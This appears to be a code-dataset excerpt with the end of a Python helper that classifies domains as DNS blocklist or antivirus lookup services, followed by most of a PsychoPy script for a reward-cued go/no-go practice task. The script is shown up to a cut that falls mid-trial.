'is_dnsblav_service',\n]\nprint('Executing %s' % __file__)\n\nimport os, sys, time\ntry: import cPickle as pickle\nexcept: import pickle\n\nfrom netutils import publicsuffix\n\nPATH = os.path.join(os.path.dirname(__file__), '@data')\n\ndnsav_suffixset = set(w.strip() for w in\n open(os.path.join(PATH, 'dnsav_suffixes.@r.txt')) if not w.startswith('#'))\n\ndnsbl_suffixset = set(w.strip() for w in\n open(os.path.join(PATH, 'dnsbl_suffixes.@r.txt')) if not w.startswith('#'))\n\n\ndef is_dnsav_service (domain):\n for suffix in dnsav_suffixset:\n if domain.endswith(suffix):\n return True\n return False\n\ndef is_dnsbl_service (domainstruct):\n assert isinstance(domainstruct, publicsuffix.DomainStruct)\n if not domainstruct.isFQDN:\n return False\n #if t2ld in dnsbl_suffixset or t3ld in dnsbl_suffixset:\n for eT23LD in domainstruct.eTkLD[1:3]:\n if eT23LD in dnsbl_suffixset:\n return True\n return False\n\ndef is_dnsblav_service (domainstruct):\n assert isinstance(domainstruct, publicsuffix.DomainStruct)\n if (is_dnsav_service(domainstruct.domain)\n or is_dnsbl_service(domainstruct)\n ): return True\n else: return False\n\n\nif __name__ == '__main__':\n t0 = time.time()\n print('Done. Time elapsed: %.2f.' % (time.time() - t0))\n","sub_path":"services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"152507455","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nThis experiment was created using PsychoPy2 Experiment Builder (v1.79.01), Tue Dec 19 17:23:10 2017\nIf you publish work using this script please cite the relevant PsychoPy publications\n Peirce, JW (2007) PsychoPy - Psychophysics software in Python. Journal of Neuroscience Methods, 162(1-2), 8-13.\n Peirce, JW (2009) Generating stimuli for neuroscience using PsychoPy. Frontiers in Neuroinformatics, 2:10. doi: 10.3389/neuro.11.010.2008\n\"\"\"\n\nfrom __future__ import division # so that 1/3=0.333 instead of 1/3=0\nfrom psychopy import locale_setup, visual, core, data, event, logging, sound, gui\nfrom psychopy.constants import * # things like STARTED, FINISHED\nimport numpy as np # whole numpy lib is available, prepend 'np.'\nfrom numpy import sin, cos, tan, log, log10, pi, average, sqrt, std, deg2rad, rad2deg, linspace, asarray\nfrom numpy.random import random, randint, normal, shuffle\nimport os # handy system and path functions\nimport sys # to get file system encoding\n\n# Ensure that relative paths start from the same directory as this script\n_thisDir = os.path.dirname(os.path.abspath(__file__)).decode(sys.getfilesystemencoding())\nos.chdir(_thisDir)\n\n# Store info about the experiment session\nexpName = u'PlanetPractice_StripedGo' # from the Builder filename that created this script\nexpInfo = {u'session': u'prac', u'participant': u'PP'}\ndlg = gui.DlgFromDict(dictionary=expInfo, title=expName)\nif dlg.OK == False: core.quit() # user pressed cancel\nexpInfo['date'] = data.getDateStr() # add a simple timestamp\nexpInfo['expName'] = expName\n\n# Data file name stem = absolute path + name; later add .psyexp, .csv, .log, etc\nfilename = _thisDir + os.sep + u'data' + os.sep + '%s_%s' %(expInfo['participant'], expInfo['date'])\n\n# An ExperimentHandler isn't essential but helps with data saving\nthisExp = data.ExperimentHandler(name=expName, version='',\n extraInfo=expInfo, runtimeInfo=None,\n originPath=u'/Users/Katie/Dropbox/Planets/ForGithub/PracticeTask/PlanetPractice_StripedGo.psyexp',\n savePickle=True, saveWideText=True,\n dataFileName=filename)\n#save a log file for detail verbose info\nlogFile = logging.LogFile(filename+'.log', level=logging.EXP)\nlogging.console.setLevel(logging.WARNING) # this outputs to the screen, not a file\n\nendExpNow = False # flag for 'escape' or other condition => quit the exp\n\n# Start Code - component code to be run before the window creation\n\n# Setup the Window\nwin = visual.Window(size=(1280, 800), fullscr=True, screen=0, allowGUI=False, allowStencil=False,\n monitor='testMonitor', color=[-1,-1,-1], colorSpace='rgb',\n blendMode='avg', useFBO=True,\n units='deg')\n# store frame rate of monitor if we can measure it successfully\nexpInfo['frameRate']=win.getActualFrameRate()\nif expInfo['frameRate']!=None:\n frameDur = 1.0/round(expInfo['frameRate'])\nelse:\n frameDur = 1.0/60.0 # couldn't get a reliable measure so guess\n\n# Initialize components for Routine \"directions1\"\ndirections1Clock = core.Clock()\ntext_8 = visual.TextStim(win=win, ori=0, name='text_8',\n text='You will be traveling through different galaxies. In one galaxy, you can win low amounts of money, but in the other you can win high amounts.\\r\\n\\r\\nIf you see a circle with 1 star, that means you can win or lose a low amount.\\r\\n\\r\\nIf you see a circle with 2 stars, that means you can win or lose a high amount. \\r\\n\\r\\nClick space to continue.', font='Arial',\n pos=[-10, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-1.0)\nhighCueImage = visual.ImageStim(win=win, name='highCueImage',\n image='images/high.png', mask=None,\n ori=0, pos=[10, -5], size=[9, 9],\n color=[1,1,1], colorSpace='rgb', opacity=1,\n flipHoriz=False, flipVert=False,\n texRes=128, interpolate=True, depth=-2.0)\nlowCueImage = visual.ImageStim(win=win, name='lowCueImage',\n image='images/low.png', mask=None,\n ori=0, pos=[10, 6], size=[9, 9],\n color=[1,1,1], colorSpace='rgb', opacity=1,\n flipHoriz=False, flipVert=False,\n texRes=128, interpolate=True, depth=-3.0)\nlowLabel = visual.TextStim(win=win, ori=0, name='lowLabel',\n text='Low', font='Arial',\n pos=[13.5, 10], height=.8, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-4.0)\nhighLabel = visual.TextStim(win=win, ori=0, name='highLabel',\n text='High', font='Arial',\n pos=[13.5, -.5], height=.8, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-5.0)\npolygon = visual.Rect(win=win, name='polygon',\n width=[10, 10][0], height=[10, 10][1],\n ori=0, pos=[10, 6],\n lineWidth=1, lineColor=[1,1,1], lineColorSpace='rgb',\n fillColor=None, fillColorSpace='rgb',\n opacity=1,depth=-6.0, \ninterpolate=True)\npolygon_2 = visual.Rect(win=win, name='polygon_2',\n width=[10, 10][0], height=[10, 10][1],\n ori=0, pos=[10, -5],\n lineWidth=1, lineColor=[1,1,1], lineColorSpace='rgb',\n fillColor=None, fillColorSpace='rgb',\n opacity=1,depth=-7.0, \ninterpolate=True)\npolygon_3 = visual.Rect(win=win, name='polygon_3',\n width=[10.5, 10.5][0], height=[10.5, 10.5][1],\n ori=0, pos=[10, -5],\n lineWidth=1, lineColor=[1,1,1], lineColorSpace='rgb',\n fillColor=None, fillColorSpace='rgb',\n opacity=1,depth=-8.0, \ninterpolate=True)\n\n# Initialize components for Routine \"Directions_images\"\nDirections_imagesClock = core.Clock()\ntext_5 = visual.TextStim(win=win, ori=0, name='text_5',\n text=u'In this game, you will see planets and asteroids. Planets have stripes, and asteroids have craters. Only click for the planets! If it is a planet, click space as quickly as possible. If it is an asteroid, do not press anything.\\r\\n\\r\\n', font=u'Arial',\n pos=[0, 5], height=1, wrapWidth=None,\n color=u'white', colorSpace='rgb', opacity=1,\n depth=0.0)\nimage_2 = visual.ImageStim(win=win, name='image_2',\n image=u'images/striped_planet.png', mask=None,\n ori=0, pos=[-10, -3], size=[10, 10],\n color=[1,1,1], colorSpace='rgb', opacity=1,\n flipHoriz=False, flipVert=False,\n texRes=128, interpolate=True, depth=-1.0)\nimage_3 = visual.ImageStim(win=win, name='image_3',\n image=u'images/crater_planet.png', mask=None,\n ori=0, pos=[10, -3], size=[10, 10],\n color=[1,1,1], colorSpace='rgb', opacity=1,\n flipHoriz=False, flipVert=False,\n texRes=128, interpolate=True, depth=-2.0)\ntext_6 = visual.TextStim(win=win, ori=0, name='text_6',\n text='Planet', font='Arial',\n pos=[-10, -9], height=1.5, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-4.0)\ntext_7 = visual.TextStim(win=win, ori=0, name='text_7',\n text='Asteroid', font='Arial',\n pos=[10, -9], height=1.5, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-5.0)\n\n# Initialize components for Routine \"directions2\"\ndirections2Clock = core.Clock()\ntext_4 = visual.TextStim(win=win, ori=0, name='text_4',\n text='First you will see a cue that will tell you how much you can earn.\\r\\n\\r\\nNext you will see a planet or an asteroid. \\r\\n\\r\\nThen you will see how you did. If you did well, you will get a reward, but if you did not do well you will get punished. \\r\\n\\r\\nPress space to start the practice!', font='Arial',\n pos=[0, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-1.0)\n\n# Initialize components for Routine \"trial\"\ntrialClock = core.Clock()\n# set border color\nborderColor='black'\n\n# Assumes \"first key\" or \"last key\" was chosen for store.\n# List conversion (to single key) happens immediately\n# when component finishes.\ndef check_correct(keys,correct):\n if len(keys): # At least 1 response\n if keys == correct:\n return True\n else:\n return False\n else: # No response\n if correct == None:\n return True\n else:\n return False\n\ntrialFrame = visual.Rect(win=win, name='trialFrame',\n width=[18, 18][0], height=[18, 18][1],\n ori=0, pos=[0, 0],\n lineWidth=2, lineColor=[1,1,1], lineColorSpace='rgb',\n fillColor=None, fillColorSpace='rgb',\n opacity=1,depth=-1.0, \ninterpolate=True)\ntrialFrame2 = visual.Rect(win=win, name='trialFrame2',\n width=[19, 19][0], height=[19, 19][1],\n ori=0, pos=[0, 0],\n lineWidth=2, lineColor='black', lineColorSpace='rgb',\n fillColor=None, fillColorSpace='rgb',\n opacity=1,depth=-2.0, \ninterpolate=True)\nCue_1 = visual.ImageStim(win=win, name='Cue_1',\n image='sin', mask=None,\n ori=0, pos=[0, 0], size=[15, 15],\n color=[1,1,1], colorSpace='rgb', opacity=1,\n flipHoriz=False, flipVert=False,\n texRes=128, interpolate=True, depth=-3.0)\nISI_1 = visual.TextStim(win=win, ori=0, name='ISI_1',\n text='+', font='Arial',\n pos=[0, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-4.0)\nTarget = visual.ImageStim(win=win, name='Target',\n image='sin', mask=None,\n ori=0, pos=[0, 0], size=[15, 15],\n color=1.0, colorSpace='rgb', opacity=1,\n flipHoriz=False, flipVert=False,\n texRes=256, interpolate=True, depth=-5.0)\nISI_2 = visual.TextStim(win=win, ori=0, name='ISI_2',\n text='+', font='Arial',\n pos=[0, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-7.0)\nReward_text = visual.TextStim(win=win, ori=0, name='Reward_text',\n text=None, font='Arial',\n pos=[0, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-8.0)\nITI = visual.TextStim(win=win, ori=0, name='ITI',\n text='+', font='Arial',\n pos=[0, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=-9.0)\n\n# Initialize components for Routine \"End\"\nEndClock = core.Clock()\ntext_2 = visual.TextStim(win=win, ori=0, name='text_2',\n text='You finished the practice!\\r\\n\\r\\nIn the real game, you will only see the cue when the block starts, and you will only get feedback when you finish the block. Remember to go as fast as you can!\\r\\n\\r\\nIf you forget whether you are playing for low or high amounts, look at the boxes. One box means low, and two boxes mean high.\\r\\n\\r\\nDo you have any questions?', font='Arial',\n pos=[0, 0], height=1, wrapWidth=None,\n color='white', colorSpace='rgb', opacity=1,\n depth=0.0)\n\n# Create some handy timers\nglobalClock = core.Clock() # to track the time since experiment started\nroutineTimer = core.CountdownTimer() # to track time remaining of each (non-slip) routine \n\n#------Prepare to start Routine \"directions1\"-------\nt = 0\ndirections1Clock.reset() # clock \nframeN = -1\n# update component parameters for each repeat\nkey_resp_7 = event.BuilderKeyResponse() # create an object of type KeyResponse\nkey_resp_7.status = NOT_STARTED\n# keep track of which components have finished\ndirections1Components = []\ndirections1Components.append(key_resp_7)\ndirections1Components.append(text_8)\ndirections1Components.append(highCueImage)\ndirections1Components.append(lowCueImage)\ndirections1Components.append(lowLabel)\ndirections1Components.append(highLabel)\ndirections1Components.append(polygon)\ndirections1Components.append(polygon_2)\ndirections1Components.append(polygon_3)\nfor thisComponent in directions1Components:\n if hasattr(thisComponent, 'status'):\n thisComponent.status = NOT_STARTED\n\n#-------Start Routine \"directions1\"-------\ncontinueRoutine = True\nwhile continueRoutine:\n # get current time\n t = directions1Clock.getTime()\n frameN = frameN + 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n \n # *key_resp_7* updates\n if t >= 0.0 and key_resp_7.status == NOT_STARTED:\n # keep track of start time/frame for later\n key_resp_7.tStart = t # underestimates by a little under one frame\n key_resp_7.frameNStart = frameN # exact frame index\n key_resp_7.status = STARTED\n # keyboard checking is just starting\n win.callOnFlip(key_resp_7.clock.reset) # t=0 on next screen flip\n event.clearEvents(eventType='keyboard')\n if key_resp_7.status == STARTED:\n theseKeys = event.getKeys(keyList=['space'])\n \n # check for quit:\n if \"escape\" in theseKeys:\n endExpNow = True\n if len(theseKeys) > 0: # at least one key was pressed\n key_resp_7.keys = theseKeys[-1] # just the last key pressed\n key_resp_7.rt = key_resp_7.clock.getTime()\n # a response ends the routine\n continueRoutine = False\n \n # *text_8* updates\n if t >= 0.0 and text_8.status == NOT_STARTED:\n # keep track of start time/frame for later\n text_8.tStart = t # underestimates by a little under one frame\n text_8.frameNStart = frameN # exact frame index\n text_8.setAutoDraw(True)\n \n # *highCueImage* updates\n if t >= 0.0 and highCueImage.status == NOT_STARTED:\n # keep track of start time/frame for later\n highCueImage.tStart = t # underestimates by a little under one frame\n highCueImage.frameNStart = frameN # exact frame index\n highCueImage.setAutoDraw(True)\n \n # *lowCueImage* updates\n if t >= 0.0 and lowCueImage.status == NOT_STARTED:\n # keep track of start time/frame for later\n lowCueImage.tStart = t # underestimates by a little under one frame\n lowCueImage.frameNStart = frameN # exact frame index\n lowCueImage.setAutoDraw(True)\n \n # *lowLabel* updates\n if t >= 0.0 and lowLabel.status == NOT_STARTED:\n # keep track of start time/frame for later\n lowLabel.tStart = t # underestimates by a little under one frame\n lowLabel.frameNStart = frameN # exact frame index\n lowLabel.setAutoDraw(True)\n \n # *highLabel* updates\n if t >= 0.0 and highLabel.status == NOT_STARTED:\n # keep track of start time/frame for later\n highLabel.tStart = t # underestimates by a little under one frame\n highLabel.frameNStart = frameN # exact frame index\n highLabel.setAutoDraw(True)\n \n # *polygon* updates\n if t >= 0.0 and polygon.status == NOT_STARTED:\n # keep track of start time/frame for later\n polygon.tStart = t # underestimates by a little under one frame\n polygon.frameNStart = frameN # exact frame index\n polygon.setAutoDraw(True)\n \n # *polygon_2* updates\n if t >= 0.0 and polygon_2.status == NOT_STARTED:\n # keep track of start time/frame for later\n polygon_2.tStart = t # underestimates by a little under one frame\n polygon_2.frameNStart = frameN # exact frame index\n polygon_2.setAutoDraw(True)\n \n # *polygon_3* updates\n if t >= 0.0 and polygon_3.status == NOT_STARTED:\n # keep track of start time/frame for later\n polygon_3.tStart = t # underestimates by a little under one frame\n polygon_3.frameNStart = frameN # exact frame index\n polygon_3.setAutoDraw(True)\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break\n continueRoutine = False # will revert to True if at least one component still running\n for thisComponent in directions1Components:\n if hasattr(thisComponent, \"status\") and thisComponent.status != FINISHED:\n continueRoutine = True\n break # at least one component has not yet finished\n \n # check for quit (the Esc key)\n if endExpNow or event.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # refresh the screen\n if continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n\n#-------Ending Routine \"directions1\"-------\nfor thisComponent in directions1Components:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n# check responses\nif key_resp_7.keys in ['', [], None]: # No response was made\n key_resp_7.keys=None\n# store data for thisExp (ExperimentHandler)\nthisExp.addData('key_resp_7.keys',key_resp_7.keys)\nif key_resp_7.keys != None: # we had a response\n thisExp.addData('key_resp_7.rt', key_resp_7.rt)\nthisExp.nextEntry()\n# the Routine \"directions1\" was not non-slip safe, so reset the non-slip timer\nroutineTimer.reset()\n\n#------Prepare to start Routine \"Directions_images\"-------\nt = 0\nDirections_imagesClock.reset() # clock \nframeN = -1\n# update component parameters for each repeat\nkey_resp_6 = event.BuilderKeyResponse() # create an object of type KeyResponse\nkey_resp_6.status = NOT_STARTED\n# keep track of which components have finished\nDirections_imagesComponents = []\nDirections_imagesComponents.append(text_5)\nDirections_imagesComponents.append(image_2)\nDirections_imagesComponents.append(image_3)\nDirections_imagesComponents.append(key_resp_6)\nDirections_imagesComponents.append(text_6)\nDirections_imagesComponents.append(text_7)\nfor thisComponent in Directions_imagesComponents:\n if hasattr(thisComponent, 'status'):\n thisComponent.status = NOT_STARTED\n\n#-------Start Routine \"Directions_images\"-------\ncontinueRoutine = True\nwhile continueRoutine:\n # get current time\n t = Directions_imagesClock.getTime()\n frameN = frameN + 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n \n # *text_5* updates\n if t >= 0.0 and text_5.status == NOT_STARTED:\n # keep track of start time/frame for later\n text_5.tStart = t # underestimates by a little under one frame\n text_5.frameNStart = frameN # exact frame index\n text_5.setAutoDraw(True)\n \n # *image_2* updates\n if t >= 0.0 and image_2.status == NOT_STARTED:\n # keep track of start time/frame for later\n image_2.tStart = t # underestimates by a little under one frame\n image_2.frameNStart = frameN # exact frame index\n image_2.setAutoDraw(True)\n \n # *image_3* updates\n if t >= 0.0 and image_3.status == NOT_STARTED:\n # keep track of start time/frame for later\n image_3.tStart = t # underestimates by a little under one frame\n image_3.frameNStart = frameN # exact frame index\n image_3.setAutoDraw(True)\n \n # *key_resp_6* updates\n if t >= 0.0 and key_resp_6.status == NOT_STARTED:\n # keep track of start time/frame for later\n key_resp_6.tStart = t # underestimates by a little under one frame\n key_resp_6.frameNStart = frameN # exact frame index\n key_resp_6.status = STARTED\n # keyboard checking is just starting\n win.callOnFlip(key_resp_6.clock.reset) # t=0 on next screen flip\n event.clearEvents(eventType='keyboard')\n if key_resp_6.status == STARTED:\n theseKeys = event.getKeys(keyList=['space'])\n \n # check for quit:\n if \"escape\" in theseKeys:\n endExpNow = True\n if len(theseKeys) > 0: # at least one key was pressed\n key_resp_6.keys = theseKeys[-1] # just the last key pressed\n key_resp_6.rt = key_resp_6.clock.getTime()\n # a response ends the routine\n continueRoutine = False\n \n # *text_6* updates\n if t >= 0.0 and text_6.status == NOT_STARTED:\n # keep track of start time/frame for later\n text_6.tStart = t # underestimates by a little under one frame\n text_6.frameNStart = frameN # exact frame index\n text_6.setAutoDraw(True)\n \n # *text_7* updates\n if t >= 0.0 and text_7.status == NOT_STARTED:\n # keep track of start time/frame for later\n text_7.tStart = t # underestimates by a little under one frame\n text_7.frameNStart = frameN # exact frame index\n text_7.setAutoDraw(True)\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break\n continueRoutine = False # will revert to True if at least one component still running\n for thisComponent in Directions_imagesComponents:\n if hasattr(thisComponent, \"status\") and thisComponent.status != FINISHED:\n continueRoutine = True\n break # at least one component has not yet finished\n \n # check for quit (the Esc key)\n if endExpNow or event.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # refresh the screen\n if continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n\n#-------Ending Routine \"Directions_images\"-------\nfor thisComponent in Directions_imagesComponents:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n# check responses\nif key_resp_6.keys in ['', [], None]: # No response was made\n key_resp_6.keys=None\n# store data for thisExp (ExperimentHandler)\nthisExp.addData('key_resp_6.keys',key_resp_6.keys)\nif key_resp_6.keys != None: # we had a response\n thisExp.addData('key_resp_6.rt', key_resp_6.rt)\nthisExp.nextEntry()\n# the Routine \"Directions_images\" was not non-slip safe, so reset the non-slip timer\nroutineTimer.reset()\n\n#------Prepare to start Routine \"directions2\"-------\nt = 0\ndirections2Clock.reset() # clock \nframeN = -1\n# update component parameters for each repeat\nkey_resp_3 = event.BuilderKeyResponse() # create an object of type KeyResponse\nkey_resp_3.status = NOT_STARTED\n# keep track of which components have finished\ndirections2Components = []\ndirections2Components.append(key_resp_3)\ndirections2Components.append(text_4)\nfor thisComponent in directions2Components:\n if hasattr(thisComponent, 'status'):\n thisComponent.status = NOT_STARTED\n\n#-------Start Routine \"directions2\"-------\ncontinueRoutine = True\nwhile continueRoutine:\n # get current time\n t = directions2Clock.getTime()\n frameN = frameN + 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n \n # *key_resp_3* updates\n if t >= 0.0 and key_resp_3.status == NOT_STARTED:\n # keep track of start time/frame for later\n key_resp_3.tStart = t # underestimates by a little under one frame\n key_resp_3.frameNStart = frameN # exact frame index\n key_resp_3.status = STARTED\n # keyboard checking is just starting\n win.callOnFlip(key_resp_3.clock.reset) # t=0 on next screen flip\n event.clearEvents(eventType='keyboard')\n if key_resp_3.status == STARTED:\n theseKeys = event.getKeys(keyList=['space'])\n \n # check for quit:\n if \"escape\" in theseKeys:\n endExpNow = True\n if len(theseKeys) > 0: # at least one key was pressed\n key_resp_3.keys = theseKeys[-1] # just the last key pressed\n key_resp_3.rt = key_resp_3.clock.getTime()\n # a response ends the routine\n continueRoutine = False\n \n # *text_4* updates\n if t >= 0.0 and text_4.status == NOT_STARTED:\n # keep track of start time/frame for later\n text_4.tStart = t # underestimates by a little under one frame\n text_4.frameNStart = frameN # exact frame index\n text_4.setAutoDraw(True)\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break\n continueRoutine = False # will revert to True if at least one component still running\n for thisComponent in directions2Components:\n if hasattr(thisComponent, \"status\") and thisComponent.status != FINISHED:\n continueRoutine = True\n break # at least one component has not yet finished\n \n # check for quit (the Esc key)\n if endExpNow or event.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # refresh the screen\n if continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n\n#-------Ending Routine \"directions2\"-------\nfor thisComponent in directions2Components:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n# check responses\nif key_resp_3.keys in ['', [], None]: # No response was made\n key_resp_3.keys=None\n# store data for thisExp (ExperimentHandler)\nthisExp.addData('key_resp_3.keys',key_resp_3.keys)\nif key_resp_3.keys != None: # we had a response\n thisExp.addData('key_resp_3.rt', key_resp_3.rt)\nthisExp.nextEntry()\n# the Routine \"directions2\" was not non-slip safe, so reset the non-slip timer\nroutineTimer.reset()\n\n# set up handler to look after randomisation of conditions etc\ntrials = data.TrialHandler(nReps=1, method='random', \n extraInfo=expInfo, originPath=-1,\n trialList=data.importConditions('conditions/practice.xlsx'),\n seed=0, name='trials')\nthisExp.addLoop(trials) # add the loop to the experiment\nthisTrial = trials.trialList[0] # so we can initialise stimuli with some values\n# abbreviate parameter names if possible (e.g. rgb=thisTrial.rgb)\nif thisTrial != None:\n for paramName in thisTrial.keys():\n exec(paramName + '= thisTrial.' + paramName)\n\nfor thisTrial in trials:\n currentLoop = trials\n # abbreviate parameter names if possible (e.g. rgb = thisTrial.rgb)\n if thisTrial != None:\n for paramName in thisTrial.keys():\n exec(paramName + '= thisTrial.' + paramName)\n \n #------Prepare to start Routine \"trial\"-------\n t = 0\n trialClock.reset() # clock \n frameN = -1\n # update component parameters for each repeat\n \n \n \n # Set Cue image on Reward Value Condition\n if valueCondition == 'low':\n cueImage = 'low.png'\n else:\n cueImage = 'high.png'\n \n # Set Target Image on Go/Nogo Condition\n if targetType == 'go':\n targetImage = 'striped_planet.png'\n correct = 'space'\n else:\n targetImage = 'crater_planet.png'\n correct = None\n \n \n \n # set border width of 2nd border frame\n if valueCondition == 'low':\n borderColor='black'\n else:\n borderColor='white'\n trialFrame2.setLineColor(borderColor)\n \n # set outcome text\n outcomeText=None\n outcomeColor='white'\n Cue_1.setImage(os.path.join('images',cueImage))\n Target.setColor([1,1,1], colorSpace='rgb')\n Target.setImage(os.path.join('images',targetImage))\n key_resp_1 = event.BuilderKeyResponse() # create an object of type KeyResponse\n key_resp_1.status = NOT_STARTED\n # keep track of which components have finished\n trialComponents = []\n trialComponents.append(trialFrame)\n trialComponents.append(trialFrame2)\n trialComponents.append(Cue_1)\n trialComponents.append(ISI_1)\n trialComponents.append(Target)\n trialComponents.append(key_resp_1)\n trialComponents.append(ISI_2)\n trialComponents.append(Reward_text)\n trialComponents.append(ITI)\n for thisComponent in trialComponents:\n if hasattr(thisComponent, 'status'):\n thisComponent.status = NOT_STARTED\n \n #-------Start Routine \"trial\"-------\n continueRoutine = True\n while continueRoutine:\n # get current time\n t = trialClock.getTime()\n frameN = frameN + 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n # write outcome text\n if key_resp_1.status == STOPPED and outcomeText == None:\n if check_correct(key_resp_1.keys,correct):\n if valueCondition == 'low':\n outcomeText = 'Correct! + $0.20'\n outcomeColor = 'green'\n else: # valueCondition == 'high'\n outcomeText = 'Correct! + $1.00'\n outcomeColor='green'\n else:\n if valueCondition == 'low':\n outcomeText = 'Incorrect! - $0.10'\n outcomeColor='red'\n else: # valueCondition == 'high'\n outcomeText = 'Incorrect! - $0.50'\n outcomeColor='red'\n Reward_text.setText(outcomeText)\n Reward_text.setColor(outcomeColor)\n trials.addData('outcomeText',outcomeText)\n trials.addData('cueImage', cueImage)\n trials.addData('targetImage', targetImage)\n \n # *trialFrame* updates\n if t >= 0 and trialFrame.status == NOT_STARTED:\n # keep track of start time/frame for later\n trialFrame.tStart = t # underestimates by a little under one frame\n trialFrame.frameNStart = frameN # exact frame index\n trialFrame.setAutoDraw(True)\n if trialFrame.status == STARTED and (Reward_text.status==FINISHED):\n trialFrame.setAutoDraw(False)\n \n # *trialFrame2* updates\n if t >= 0 and trialFrame2.status == NOT_STARTED:\n # keep track of start time/frame for later\n trialFrame2.tStart = t # underestimates by a little under one frame\n trialFrame2.frameNStart = frameN # exact frame index\n trialFrame2.setAutoDraw(True)\n if trialFrame2.status == STARTED and (Reward_text.status==FINISHED):\n trialFrame2.setAutoDraw(False)\n \n # *Cue_1* updates\n if t >= 0 and Cue_1.status == NOT_STARTED:\n # keep track of start time/frame for later\n Cue_1.tStart = t # underestimates by a little under one frame\n Cue_1.frameNStart = frameN # exact frame index\n Cue_1.setAutoDraw(True)\n if Cue_1.status == STARTED and t >= (0 + (0.5-win.monitorFramePeriod*0.75)): #most of one frame period left\n Cue_1.setAutoDraw(False)\n \n # *ISI_1* updates\n if (Cue_1.status==FINISHED) and ISI_1.status == NOT_STARTED:\n # keep track of start time/frame for later\n ISI_1.tStart = t # underestimates by a little under one frame\n ISI_1.frameNStart = frameN # exact frame index\n ISI_1.setAutoDraw(True)\n if ISI_1.status == STARTED and t >= (ISI_1.tStart + ISI1):\n ISI_1.setAutoDraw(False)\n \n # *Target* updates\n if (ISI_1.status==FINISHED) and Target.status == NOT_STARTED:\n # keep track of start time/frame for later\n Target.tStart = t # underestimates by a little under one frame\n Target.frameNStart = frameN # exact frame index\n Target.setAutoDraw(True)\n if Target.status == STARTED and t >= (Target.tStart + 0.5):\n Target.setAutoDraw(False)\n \n # *key_resp_1* updates\n if (ISI_1.status==FINISHED) and key_resp_1.status == NOT_STARTED:\n # keep track of start time/frame for later\n key_resp_1.tStart = t # underestimates by a little under one frame\n key_resp_1.frameNStart = frameN # exact frame index\n key_resp_1.status = STARTED\n # keyboard checking is just starting\n win.callOnFlip(key_resp_1.clock.reset) # t=0 on next screen flip\n event.clearEvents(eventType='keyboard')\n if key_resp_1.status == STARTED and t >= (key_resp_1.tStart + 1.5):\n key_resp_1.status = STOPPED\n if key_resp_1.status == STARTED:\n theseKeys = event.getKeys(keyList=['space'])\n \n # check for quit:\n if \"escape\" in theseKeys:\n endExpNow = True\n if len(theseKeys) > 0: # at least one key was pressed\n if key_resp_1.keys == []: # then this was the first keypress\n key_resp_1.keys = theseKeys[0] # just the first key pressed\n key_resp_1.rt = key_resp_1.clock.getTime()\n # was this 'correct'?\n if (key_resp_1.keys == str(correct)) or (key_resp_1.keys == correct):\n key_resp_1.corr = 1\n else:\n key_resp_1.corr = 0\n \n # *ISI_2* updates\n if (Target.status==FINISHED) and ISI_2.status == NOT_STARTED:\n # keep track of start time/frame for later\n ISI_2.tStart = t # underestimates by a little under one frame\n ISI_2.frameNStart = frameN # exact frame index\n ISI_2.setAutoDraw(True)\n if ISI_2.status == STARTED and t >= (ISI_2.tStart + 2):\n ISI_2.setAutoDraw(False)\n \n # *Reward_text* updates\n if (ISI_2.status==FINISHED) and Reward_text.status == NOT_STARTED:\n # keep track of start time/frame for later\n Reward_text.tStart = t # underestimates by a little under one frame\n Reward_text.frameNStart = frameN # exact frame index\n Reward_text.setAutoDraw(True)\n if Reward_text.status == STARTED and t >= (Reward_text.tStart + 2):\n Reward_text.setAutoDraw(False)\n \n # *ITI* updates\n if (Reward_text.status==FINISHED) and ITI.status == NOT_STARTED:\n # keep track of start time/frame for later\n ITI.tStart = t # underestimates by a little under one frame\n ITI.frameNStart = frameN # exact frame index\n ITI.setAutoDraw(True)\n if ITI.status == STARTED and t >= (ITI.tStart + 2):\n ITI.setAutoDraw(False)\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break\n continueRoutine = False # will revert to True if at least one component still running\n for thisComponent in trialComponents:\n if hasattr(thisComponent, \"status\") and thisComponent.status != FINISHED:\n continueRoutine = True\n break # at least one component has not yet finished\n \n # check for quit (the Esc key)\n if endExpNow or event.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # refresh the screen\n if continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n \n #-------Ending Routine \"trial\"-------\n for thisComponent in trialComponents:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n \n # check responses\n if key_resp_1.keys in ['', [], None]: 